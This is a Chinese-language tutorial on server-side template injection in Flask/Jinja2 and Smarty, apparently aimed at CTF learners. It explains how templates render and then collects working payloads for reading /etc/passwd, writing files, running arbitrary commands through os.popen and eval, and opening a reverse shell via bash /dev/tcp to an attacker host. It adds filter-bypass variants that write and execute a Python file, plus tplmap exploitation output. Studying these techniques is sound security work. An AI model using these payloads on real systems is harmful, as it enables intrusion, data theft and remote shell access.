SSTI详解 一文了解SSTI和所有常见payload 以flask模板为例

前言

1、什么是SSTI

SSTI，服务器端模板注入(Server-Side Template Injection)

• 服务端接收攻击者的输入，将其作为Web应用模板内容的一部分
• 在进行目标编译渲染的过程中，进行了语句的拼接，执行了所插入的恶意内容
• 从而导致信息泄露、代码执行、GetShell等问题
• 其影响范围主要取决于模版引擎的复杂性

注意：模板引擎 和 渲染函数 本身是没有漏洞的 , 该漏洞的产生原因在于程序员对代码的不严禁与不规范 , 导致了模板可控 , 从而引发代码注入

主要的框架

• Python：jinja2、 mako、 tornado、 django
• php：smarty、 twig
• java：jade、 velocity

2、基础知识

模板引擎

模板引擎是以业务逻辑层和表现层分离为目的的，将规定格式的模板代码转换为业务数据的算法实现

页面渲染

页面渲染

• 前端渲染( SPA , 单页面应用 )
  浏览器从服务器得到一些信息( 可能是 JSON 等各种数据交换格式所封装的数据包 , 也可能是合法的 HTML 字符串 )
  浏览器将这些信息排列组合成人类可读的 HTML 字符串 . 然后解析为最终的 HTML 页面呈现给用户
  整个过程都是由客户端浏览器完成的 , 因此对服务器后端的压力较小 , 仅需要传输数据即可

  
  
  
  
  
  

• 后端渲染( SSR , 服务器渲染 )
  浏览器会直接接收到经过服务器计算并排列组合后的 HTML 字符串 , 浏览器仅需要将字符串解析为呈现给用户的 HTML 页面就可以了 .
  整个过程都是由服务器完成的 , 因此对客户端浏览器的压力较小 , 大部分任务都在服务器端完成了 , 浏览器仅需要解析并呈现 HTML 页面即可

  
  
  
  

参考后端渲染html、前端模板渲染html，jquery的html，各有什么区别？

3、flask模板

环境搭建

注意： 实际运行环境时是不可开启 DEBUG 模式的 , 非常危险

渲染方法

Flask 中的渲染方法有两种 : render_template() 和 render_template_string()

• render_template() 函数
  渲染一个指定的文件 , 这个指定的文件其实就是模板
  
  
  

  
  
  
  
  
  
  
  

• render_template_string() 函数
  渲染一个字符串
  
  
  注：SSTI与render_template_string()函数密不可分

  
  
  
  
  
  
  
  

4、SSTI原理

一个最简单的例子

@app.route('/test') def test():
    html = '{ 
   {12*12}}' return flask.render_template_string(html) 

发现{
{ --- }}其中的语句被执行了

• 这是因为在flask中，渲染引擎Jinja2会将{
{ --- }}视为变量标识符，会将其包含的内容作为变量处理，从而包裹的语句被执行
• 那么，在上一段代码中，如果我们传入的参数内容为{
{ --- }}包裹的代码，这些代码就会被执行

沙箱逃逸

• __class__：用来查看变量所属的类，根据前面的变量形式可以得到其所属的类。

>>> ''.__class__ <type 'str'> >>> ().__class__ <type 'tuple'> >>> [].__class__ <type 'list'> >>> { 
   }.__class__ <type 'dict'> 

• __bases__：用来查看类的基类，也可是使用数组索引来查看特定位置的值

>>> ().__class__.__bases__ (<type 'object'>,) >>> ''.__class__.__bases__ (<type 'basestring'>,) >>> [].__class__.__bases__ (<type 'object'>,) >>> { 
   }.__class__.__bases__ (<type 'object'>,) >>> [].__class__.__bases__[0] <type 'object'> 

• __mro__：也可以获取基类

>>> ''.__class__.__mro__ (<class 'str'>, <class 'object'>) >>> [].__class__.__mro__ (<class 'list'>, <class 'object'>) >>> { 
   }.__class__.__mro__ (<class 'dict'>, <class 'object'>) >>> ().__class__.__mro__ (<class 'tuple'>, <class 'object'>) >>> ().__class__.__mro__[1] # 使用索引就能获取基类了 <class 'object'> 

• __subclasses__()：查看当前类的子类。

>>> [].__class__.__bases__[0].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>] 

SSTI主要就是活用各种魔术方法

5、引擎判断

通常可以使用以下payload来简单测试：

绿色为执行成功，红色为执行失败
另：{
{7*'7'}}在Twig中返回49，在Jinja2中返回77777777

6、SSTI利用

一些SSTI的利用方法

XSS

以 GET 方式从 URL 处获取 code 参数的值 , 然后将它输出到页面 .

任意文件读写

• 获取字符串的类对象

>>> ''.__class__ <type 'str'> 

• 寻找基类

>>> ''.__class__.__mro__ (<type 'str'>, <type 'basestring'>, <type 'object'>) 

• 寻找可用引用

>>> ''.__class__.__mro__[2].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>] 

可以看到有一个


• 最终payload

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() 

也可以是

()..__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() object.__subclasses__()[40]('/etc/passwd').read() 

写文件相仿

''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code') ().__class__.__bases__[0].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code') object.__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code') 

任意代码执行

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls') ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read() # eval ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) #__import__ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read() ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() 

反弹shell

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read() 

这个 Payload 不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误
可以使用 BurpSuite 等工具构造数据包再发送

其他

• request.environ
  一个与服务器环境相关的对象字典 . 访问该字典可以拿到很多你期待的信息
  

  
  
  
  

• config.items
  一个类字典的对象 , 包含了所有应用程序的配置值
  在大多数情况下 , 它包含了比如数据库链接字符串 , 连接到第三方的凭证 , SECRET_KEY等敏感值

  
  
  
  

• 一个小脚本

{ 
   % for c in [].__class__.__base__.__subclasses__() %} { 
   % if c.__name__ == 'catch_warnings' %} { 
   % for b in c.__init__.__globals__.values() %} { 
   % if b.__class__ == { 
   }.__class__ %} { 
   % if 'eval' in b.keys() %} { 
   { 
    b['eval']('__import__("os").popen("id").read()') }} //poppen的参数就是要执行的命令 { 
   % endif %} { 
   % endif %} { 
   % endfor %} { 
   % endif %} { 
   % endfor %} 

7、一些绕过

对一些过滤的绕过方法

过滤了小括号

用python的内置函数

• get_flashed_messages()
• url_for()

payload

{ 
   { 
   url_for.__globals__}} { 
   { 
   url_for.__globals__['current_app'].config['FLAG']}} { 
   { 
   get_flashed_messages.__globals__['current_app'].config['FLAG']}} 

过滤了 class、 subclasses、 read等关键词

用request

• GET: request.args
• Cookies: request.cookies
• Headers: request.headers
• Environment: request.environ
• Values: request.values

一些用法

• request.__class__
• request["__class__"]
• request|attr("__class__")

payload

{ 
   { 
   ''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__ 

过滤了下划线_

payload

{ 
   { 
   request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_ 

其实现过程如下

{ 
   { 
   request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}} { 
   { 
   request|attr(["_"*2,"class","_"*2]|join)}} { 
   { 
   request|attr(["__","class","__"]|join)}} { 
   { 
   request|attr("__class__")}} { 
   { 
   request.__class__}} 

过滤了中括号[和]

payload

{ 
   { 
   request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_ { 
   { 
   request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_ 

过滤了|join

用|format
payload

{ 
   { 
   request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ 

无敌绕过的最终RCE

绕过[，]检查，但不绕过__检查
使用该set函数来访问必需的object（i）类
pop()将检索file对象，然后使用我们的已知参数调用该对象
与初始RCE相似，这将创建一个python文件/tmp/foo.py并执行print 1337有效负载

{ 
   %set%20a,b,c,d,e,f,g,h,i%20=%20request.__class__.__mro__%}{ 
   { 
   i.__subclasses__().pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{ 
   { 
   config.from_pyfile(request.args.file)}}&file=/tmp/foo.py&write=w&payload=print+1337 

{ 
   %set%20a,b,c,d,e,f,g,h,i%20=%20request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.mro,request.args.usc*2)|join)%}{ 
   { 
   (i|attr((request.args.usc*2,request.args.subc,request.args.usc*2)|join)()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{ 
   { 
   config.from_pyfile(request.args.file)}}&class=class&mro=mro&subc=subclasses&usc=_&file=/tmp/foo.py&write=w&payload=print+1337 

8、神器tplmap

例子

root@kali:/mnt/hgfs/共享文件夹/tplmap-master# python tplmap.py -u "http://192.168.1.10:8000/?name=Sea" //判断是否是注入点 [+] Tplmap 0.5 Automatic Server-Side Template Injection Detection and Exploitation Tool [+] Testing if GET parameter 'name' is injectable [+] Smarty plugin is testing rendering with tag '*' [+] Smarty plugin is testing blind injection [+] Mako plugin is testing rendering with tag '${*}' [+] Mako plugin is testing blind injection [+] Python plugin is testing rendering with tag 'str(*)' [+] Python plugin is testing blind injection [+] Tornado plugin is testing rendering with tag '{ 
   {*}}' [+] Tornado plugin is testing blind injection [+] Jinja2 plugin is testing rendering with tag '{ 
   {*}}' [+] Jinja2 plugin has confirmed injection with tag '{ 
   {*}}' [+] Tplmap identified the following injection point: GET parameter: name //说明可以注入，同时给出了详细信息 Engine: Jinja2 Injection: { 
   { 
   *}} Context: text OS: posix-linux Technique: render Capabilities: Shell command execution: ok //检验出这些利用方法对于目标环境是否可用 Bind and reverse shell: ok File write: ok File read: ok Code evaluation: ok, python code [+] Rerun tplmap providing one of the following options: //可以利用下面这些参数进行进一步的操作 --os-shell Run shell on the target --os-cmd Execute shell commands --bind-shell PORT Connect to a shell bind to a target port --reverse-shell HOST PORT Send a shell back to the attacker's port --upload LOCAL REMOTE Upload files to the server --download REMOTE LOCAL Download remote files 

9、smarty SSTI

注入点：

• XFF
• Client IP

确认漏洞：

• 输入{$smarty.version}，返回smarty的版本号

{php}{/php}标签

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令

{ 
   php}phpinfo();{ 
   /php} 

但在Smarty3的官方手册里有以下描述：

• Smarty已经废弃{php}标签，强烈建议不要使用
• 在Smarty 3.1，{php}仅在SmartyBC中可用

{literal}标签

官方手册这样描述这个标签：

• {literal}可以让一个模板区域的字符原样输出
• 这经常用于保护页面上的Javascript或css样式表，避免因为Smarty的定界符而错被解析

在php5的环境中可以使用

<script language="php">phpinfo();</script> 

php7就不能用了

静态方法

通过self获取Smarty类再调用其静态方法实现文件读写

Smarty类的getStreamVariable方法的代码

public function getStreamVariable($variable) { 
    $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { 
    while (!feof($fp) && ($current_line = fgets($fp)) !== false) { 
    $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { 
    throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { 
    return null; } } 

{ 
   self::getStreamVariable("file:///etc/passwd")} 

但在3.1.30的Smarty版本中官方已经把该静态方法删除

{if}标签

官方文档中的描述：

• Smarty的{if}条件判断和PHP的if非常相似，只是增加了一些特性
• 每个{if}必须有一个配对的{/if}，也可以使用{else} 和 {elseif}
• 全部的PHP条件表达式和函数都可以在if内使用，如||, or, &&, and, is_array(), 等等，如：{if is_array($array)}{/if}

payload

{ 
   if phpinfo()}{ 
   /if} 

结语

对SSTI做了个总结归纳

参考

• Server-Side Template Injection
• Jinja2 template injection filter bypasses
• SSTI完全学习
• Flask/Jinja2 SSTI && Python 沙箱逃逸基础
• 从零学习flask模板注入
• Smarty SSTI
• CTF SSTI(服务器模板注入)